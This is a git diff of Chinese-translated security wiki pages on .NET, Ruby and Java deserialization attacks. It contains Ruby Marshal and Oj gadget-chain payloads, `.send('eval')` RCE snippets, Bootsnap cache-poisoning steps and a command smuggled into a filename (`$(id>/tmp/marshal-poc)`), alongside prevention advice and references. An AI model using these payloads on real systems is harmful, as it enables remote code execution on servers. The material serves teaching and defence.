这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,有助于更好地理解每个 exploit 如何工作: `--test`\
|
||||
如果你指定这个参数,**ysoserial.net** 会 **在本地尝试** 这个 **exploit,** 这样你就可以测试你的 payload 是否会正确工作。\
|
||||
这个参数很有用,因为如果你查看代码,你会发现像下面这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -748,7 +765,7 @@ Debugging.ShowErrors(inputArgs, err);
|
||||
}
|
||||
}
|
||||
```
|
||||
这意味着为了测试漏洞,代码将调用 [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
这意味着为了测试 exploit,代码将调用 [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
||||
```java
|
||||
public static object JsonNet_deserialize(string str)
|
||||
{
|
||||
@ -759,46 +776,46 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
在**之前的代码中存在可被利用的漏洞**。因此,如果你在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\
|
||||
因此,**`--test`** 参数使我们能够理解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。
|
||||
在 **之前的代码易受所创建的利用影响**。因此,如果你在某个 .Net 应用中发现类似情况,就意味着该应用很可能也存在相同的漏洞。
|
||||
因此 **`--test`** 参数可以帮助我们了解 **哪些代码片段容易受到 ysoserial.net 所生成的反序列化利用** 的影响。
|
||||
|
||||
### ViewState
|
||||
|
||||
查看[这篇关于**如何尝试利用 .Net 的 \_\_ViewState 参数**](exploiting-__viewstate-parameter.md)来**执行任意代码。** 如果你**已经知道受害者机器使用的秘密**,[**阅读这篇文章以了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)**。**
|
||||
查看 [这篇 POST 关于 **如何尝试利用 .Net 的 \_\_ViewState 参数** ](exploiting-__viewstate-parameter.md) 来 **执行任意代码**。如果你**已经知道受害机器使用的密钥(secrets)**,请[**阅读这篇文章了解如何执行代码**](exploiting-__viewstate-knowing-the-secret.md)。
|
||||
|
||||
### 预防
|
||||
|
||||
为了减轻与 .Net 中反序列化相关的风险:
|
||||
为降低 .Net 反序列化相关风险:
|
||||
|
||||
- **避免允许数据流定义其对象类型。** 尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。
|
||||
- **对于 `JSON.Net`,将 `TypeNameHandling` 设置为 `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。**
|
||||
- **限制可以被反序列化的类型,** 理解 .Net 类型的固有风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。
|
||||
- **对具有风险属性的类型保持谨慎,** 如 `System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。
|
||||
- **安全地控制类型实例化,** 以防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。
|
||||
- **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter` 和 `JSON.Net`。
|
||||
- **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。
|
||||
- **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`。
|
||||
- **不要允许数据流定义其对象类型。** 尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。
|
||||
- **对于 `JSON.Net`,将 `TypeNameHandling` 设置为 `None`:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **避免在 `JavaScriptSerializer` 中使用 `JavaScriptTypeResolver`。**
|
||||
- **限制可反序列化的类型,** 并理解 .Net 类型固有的风险,例如 `System.IO.FileInfo`,它能够修改服务器文件的属性,可能导致拒绝服务攻击。
|
||||
- **对具有危险属性的类型保持谨慎,** 例如带有 `Value` 属性的 `System.ComponentModel.DataAnnotations.ValidationException`,该属性可能被利用。
|
||||
- **安全地控制类型实例化,** 防止攻击者影响反序列化过程,否则即使是 `DataContractSerializer` 或 `XmlSerializer` 也可能变得易受攻击。
|
||||
- **通过为 `BinaryFormatter` 和 `JSON.Net` 使用自定义 `SerializationBinder` 实现白名单控制。**
|
||||
- **关注 .Net 中已知的不安全反序列化 gadget,** 并确保反序列化器不会实例化这些类型。
|
||||
- **将潜在危险的代码与具有互联网访问的代码隔离,** 避免将已知 gadget(例如 WPF 应用中的 `System.Windows.Data.ObjectDataProvider`)暴露给不受信任的数据源。
|
||||
|
||||
### **参考文献**
|
||||
### **参考资料**
|
||||
|
||||
- Java 和 .Net JSON 反序列化**论文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 演讲:[https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和幻灯片:[https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Java 和 .Net JSON 反序列化 **论文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** 演讲: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) 和 幻灯片: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
|
||||
## **Ruby**
|
||||
|
||||
在 Ruby 中,序列化通过 **marshal** 库中的两个方法来实现。第一个方法称为 **dump**,用于将对象转换为字节流。这个过程称为序列化。相反,第二个方法 **load** 用于将字节流还原为对象,这个过程称为反序列化。
|
||||
在 Ruby 中,序列化由 **marshal** 库中的两个方法提供。第一个方法,称为 **dump**,用于将对象转换为字节流(即序列化)。相反,第二个方法 **load** 用于将字节流还原为对象(即反序列化)。
|
||||
|
||||
为了保护序列化对象,**Ruby 使用 HMAC(基于哈希的消息认证码)**,确保数据的完整性和真实性。用于此目的的密钥存储在多个可能的位置之一:
|
||||
为保护序列化对象,**Ruby 使用 HMAC (Hash-Based Message Authentication Code)** 来确保数据的完整性和真实性。用于此目的的密钥存储在以下可能位置之一:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X 通用反序列化到 RCE gadget 链(更多信息见** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X 通用反序列化到 RCE gadget chain (更多信息见** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -869,18 +886,18 @@ require "base64"
|
||||
puts "Payload (Base64 encoded):"
|
||||
puts Base64.encode64(payload)
|
||||
```
|
||||
其他 RCE 链以利用 Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
另一个用于利用 Ruby On Rails 的 RCE 链: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
||||
|
||||
### Ruby .send() 方法
|
||||
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并传递任何参数。
|
||||
正如 [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 所解释,如果某些未经过滤的用户输入到达 ruby 对象的 `.send()` 方法,该方法允许**调用对象的任何其他方法**并传入任意参数。
|
||||
|
||||
例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
|
||||
例如,调用 eval 并将 ruby code 作为第二个参数将允许执行任意代码:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何**不需要参数**或其参数具有**默认值**的方法。\
|
||||
为此,可以枚举对象的所有方法,以**找到满足这些要求的一些有趣方法**。
|
||||
此外,如果只有 **`.send()`** 的一个参数被攻击者控制,正如之前的 writeup 所述,就可以调用对象中任何**不需要参数**或其参数具有**默认值**的方法。\
|
||||
为此,可以枚举对象的所有方法以**找到满足这些要求的一些有趣的方法**。
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -902,23 +919,23 @@ candidate_methods = repo_methods.select() do |method_name|
|
||||
end
|
||||
candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Ruby 类污染
|
||||
### Ruby class pollution
|
||||
|
||||
检查如何可能 [污染 Ruby 类并在这里滥用它](ruby-class-pollution.md)。
|
||||
查看如何可以 [pollute a Ruby class and abuse it in here](ruby-class-pollution.md)。
|
||||
|
||||
### Ruby _json 污染
|
||||
### Ruby _json pollution
|
||||
|
||||
当发送一些不可哈希的值(如数组)时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。
|
||||
当在请求 body 中发送一些不能被哈希的值(例如 array)时,它们会被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在 body 中设置一个名为 `_json` 的值,内容为任意想要的值。因此,例如后端如果检查某个参数的真实性,但随后又使用 `_json` 参数来执行某些操作,就可能导致授权绕过。
|
||||
|
||||
在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。
|
||||
详见 [Ruby _json pollution page](ruby-_json-pollution.md)。
|
||||
|
||||
### 其他库
|
||||
|
||||
此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
该技术摘自[**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
|
||||
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
|
||||
还有其他 Ruby 库可以用来序列化对象,因此在不安全的反序列化过程中可能被滥用以获得 RCE。下表列出其中一些库以及在反序列化时会调用的类方法(基本上是可被利用以获取 RCE 的函数):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([查看关于 json_create 的说明](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内触发方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
基本示例:
|
||||
```ruby
|
||||
@ -942,7 +959,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,而 `to_s` 会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
在尝试滥用 Oj 的情况下,可以找到一个 gadget class,其内部的 `hash` 函数会调用 `to_s`,`to_s` 会调用 spec,进而调用 fetch_path,可以使其去获取一个随机的 URL,从而成为检测此类 unsanitized deserialization vulnerabilities 的极好探测器。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -954,7 +971,7 @@ Oj.load(json_payload)
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
此外,发现使用之前的技术在系统中还会创建一个文件夹,这是滥用另一个小工具的要求,以便将其转化为完整的 RCE,类似于:
|
||||
此外,发现使用前述技术会在系统中创建一个文件夹,这是滥用另一个 gadget 将其转化为完整的 RCE(例如如下)的必要条件:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -976,48 +993,51 @@ Oj.load(json_payload)
|
||||
}
|
||||
}
|
||||
```
|
||||
检查更多细节请参见[**原始帖子**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
这实际上不是一个反序列化漏洞,但这是一个很好的技巧,可以利用bootstrap缓存从rails应用程序中获取RCE,并进行任意文件写入(在这里找到完整的[原始帖子](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/))。
|
||||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
以下是文章中详细描述的通过滥用Bootsnap缓存来利用任意文件写入漏洞的步骤的简要总结:
|
||||
下面是文章中通过滥用 Bootsnap 缓存利用任意文件写漏洞的步骤简要总结:
|
||||
|
||||
- 识别漏洞和环境
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
Rails应用程序的文件上传功能允许攻击者任意写入文件。尽管该应用程序在限制下运行(由于Docker的非root用户,只有某些目录如tmp是可写的),但这仍然允许写入Bootsnap缓存目录(通常在tmp/cache/bootsnap下)。
|
||||
Rails 应用的文件上传功能允许攻击者任意写文件。尽管应用在运行时受到限制(由于 Docker 的 non-root user,只有像 tmp 这样的特定目录可写),这仍然允许写入 Bootsnap 缓存目录(通常位于 tmp/cache/bootsnap 下)。
|
||||
|
||||
- 理解Bootsnap的缓存机制
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap通过缓存编译的Ruby代码、YAML和JSON文件来加快Rails启动时间。它存储包含缓存键头的缓存文件(包括Ruby版本、文件大小、mtime、编译选项等字段),后面跟着编译的代码。此头用于在应用程序启动时验证缓存。
|
||||
Bootsnap 通过缓存已编译的 Ruby 代码、YAML 和 JSON 文件来加速 Rails 启动。它存储的缓存文件包含一个 cache key header(字段包括 Ruby version、file size、mtime、compile options 等),然后是已编译的代码。该 header 在应用启动时用于验证缓存。
|
||||
|
||||
- 收集文件元数据
|
||||
- Gather File Metadata
|
||||
|
||||
攻击者首先选择一个在Rails启动期间可能加载的目标文件(例如,Ruby标准库中的set.rb)。通过在容器内执行Ruby代码,他们提取关键元数据(如RUBY_VERSION、RUBY_REVISION、大小、mtime和compile_option)。这些数据对于构造有效的缓存键至关重要。
|
||||
攻击者首先选择一个在 Rails 启动时可能被加载的目标文件(例如来自 Ruby 标准库的 set.rb)。通过在容器内执行 Ruby 代码,他们提取关键元数据(例如 RUBY_VERSION、RUBY_REVISION、size、mtime 和 compile_option)。这些数据对于构造有效的 cache key 至关重要。
|
||||
|
||||
- 计算缓存文件路径
|
||||
- Compute the Cache File Path
|
||||
|
||||
通过复制Bootsnap的FNV-1a 64位哈希机制,确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在Bootsnap期望的位置(例如,在tmp/cache/bootsnap/compile-cache-iseq/下)。
|
||||
通过复现 Bootsnap 的 FNV-1a 64-bit hash 机制,可以确定正确的缓存文件路径。此步骤确保恶意缓存文件被放置在 Bootsnap 预期的位置(例如 tmp/cache/bootsnap/compile-cache-iseq/ 下)。
|
||||
|
||||
- 构造恶意缓存文件
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
攻击者准备一个有效载荷,该有效载荷:
|
||||
攻击者准备一个载荷,该载荷会:
|
||||
|
||||
- 执行任意命令(例如,运行id以显示进程信息)。
|
||||
- 在执行后删除恶意缓存,以防止递归利用。
|
||||
- 加载原始文件(例如,set.rb)以避免崩溃应用程序。
|
||||
- 执行任意命令(例如运行 id 来显示进程信息)。
|
||||
- 在执行后删除恶意缓存以防止递归利用。
|
||||
- 加载原始文件(例如 set.rb)以避免使应用崩溃。
|
||||
|
||||
该载荷被编译成二进制 Ruby 代码,并与一个精心构造的 cache key header 连接(使用先前收集的元数据和正确的 Bootsnap 版本号)。
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
|
||||
利用任意文件写漏洞,攻击者将构造好的缓存文件写入计算出的路径。接着,他们触发服务器重启(通过写入 tmp/restart.txt,Puma 会监控该文件)。在重启期间,当 Rails require 目标文件时,恶意缓存文件被加载,导致远程代码执行(RCE)。
|
||||
|
||||
该有效载荷被编译成二进制Ruby代码,并与精心构造的缓存键头连接在一起(使用先前收集的元数据和Bootsnap的正确版本号)。
|
||||
|
||||
- 覆盖并触发执行
|
||||
利用任意文件写入漏洞,攻击者将构造的缓存文件写入计算的位置。接下来,他们触发服务器重启(通过写入tmp/restart.txt,Puma会监控该文件)。在重启期间,当Rails需要目标文件时,恶意缓存文件被加载,从而导致远程代码执行(RCE)。
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
将任何不受信任的字节到达`Marshal.load`/`marshal_load`的路径视为RCE接收点。Marshal重建任意对象图,并在物化过程中触发库/宝石回调。
|
||||
将任何不受信任的字节到达 `Marshal.load`/`marshal_load` 的路径视为 RCE sink。Marshal 在物化过程中会重构任意对象图并触发库/gem 的回调。
|
||||
|
||||
- 最小脆弱Rails代码路径:
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1031,37 +1051,38 @@ end
|
||||
end
|
||||
end
|
||||
```
|
||||
- 在真实链中看到的常见小工具类: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`。
|
||||
- 嵌入在有效负载中的典型副作用标记(在反序列化期间执行):
|
||||
- 常见的 gadget classes(在真实 chains 中可见): `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- 典型的 side-effect marker 嵌入在 payloads 中(在 unmarshal 期间执行):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
在真实应用中的表现:
|
||||
- Rails 缓存存储和会话存储历史上使用 Marshal
|
||||
- 后台作业后端和文件支持的对象存储
|
||||
- 任何自定义的二进制对象块的持久化或传输
|
||||
Where it surfaces in real apps:
|
||||
- Rails 的 cache stores 和 session stores(历史上使用 Marshal)
|
||||
- 后台作业后端(background job backends)和基于文件的对象存储(file-backed object stores)
|
||||
- 任何自定义的二进制对象 blob 的持久化或传输
|
||||
|
||||
工业化小工具发现:
|
||||
- Grep 查找构造函数、`hash`、`_load`、`init_with` 或在反序列化期间调用的有副作用的方法
|
||||
- 使用 CodeQL 的 Ruby 不安全反序列化查询追踪源 → 汇和发现小工具
|
||||
- 使用公共多格式 PoC(JSON/XML/YAML/Marshal)进行验证
|
||||
Industrialized gadget discovery:
|
||||
- 使用 grep 查找 constructors、`hash`、`_load`、`init_with`,或在 unmarshal 过程中被调用的具有副作用的方法
|
||||
- 使用 CodeQL’s Ruby unsafe deserialization queries 来追踪 sources → sinks 并揭示 gadgets
|
||||
- 使用公开的多格式 PoCs(JSON/XML/YAML/Marshal)进行验证
|
||||
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- Trail of Bits – Marshal 疯狂:Ruby 反序列化漏洞的简要历史:https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x 通用 RCE 反序列化小工具链:https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal 链:https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 不安全反序列化):https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – 通过 Ruby on Rails Active Storage 不安全反序列化进行 RCE:https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – 在 Rubyland 中发现小工具链:https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby 不安全反序列化(查询帮助):https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoC 仓库:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 小工具:https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 通用链:https://nastystereo.com/security/ruby-3-4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal 逃逸:https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 发布:https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby 修复 PR #12444:https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – 审计 RubyGems.org(Marshal 发现):https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObject 门控的反序列化和通过错误路径的预认证可到达性
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
本页记录了一个常见的“受保护”的 Java 反序列化模式,该模式以 java.security.SignedObject 为核心,以及看似不可到达的 sink 如何通过错误处理流程变为预认证可到达。该技术在 Fortra GoAnywhere MFT (CVE-2025-10035) 中被观察到,但也适用于类似设计。
|
||||
|
||||
## 威胁模型
|
||||
|
||||
- 攻击者可以访问一个 HTTP 端点,该端点最终处理攻击者提供的 byte[],该 byte[] 旨在作为序列化的 SignedObject。
|
||||
- 代码使用一个验证包装器(例如 Apache Commons IO ValidatingObjectInputStream 或自定义适配器)来将最外层类型限制为 SignedObject(或 byte[])。
|
||||
- SignedObject.getObject() 返回的内部对象是 gadget 链可能触发的地方(例如 CommonsBeanutils1),但只有在签名验证门通过之后。
|
||||
|
||||
## 典型的易受攻击模式
|
||||
|
||||
下面是基于 com.linoma.license.gen2.BundleWorker.verify 的简化示例:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
关键观察:
|
||||
- 位于 (1) 的验证反序列化器会阻止任意顶层 gadget classes;仅接受 SignedObject(或 raw byte[])。
|
||||
- RCE 原语位于由 SignedObject.getObject() 在 (3) 处实例化的内部对象中。
|
||||
- 位于 (2) 的签名门控强制要求 SignedObject 必须针对产品内置的公钥通过 verify()。除非攻击者能够生成有效签名,否则内部 gadget 永远不会被反序列化。
|
||||
|
||||
## 利用注意事项
|
||||
|
||||
要实现代码执行,攻击者必须提供一个正确签名的 SignedObject,内部对象封装一个恶意 gadget chain。通常需要以下之一:
|
||||
|
||||
- Private key compromise: 获取产品用于签名/验证 license 对象的匹配私钥。
|
||||
- Signing oracle: 强迫厂商或受信任的签名服务对攻击者控制的序列化内容进行签名(例如,如果 license server 对来自客户端输入的嵌入任意对象进行签名)。
|
||||
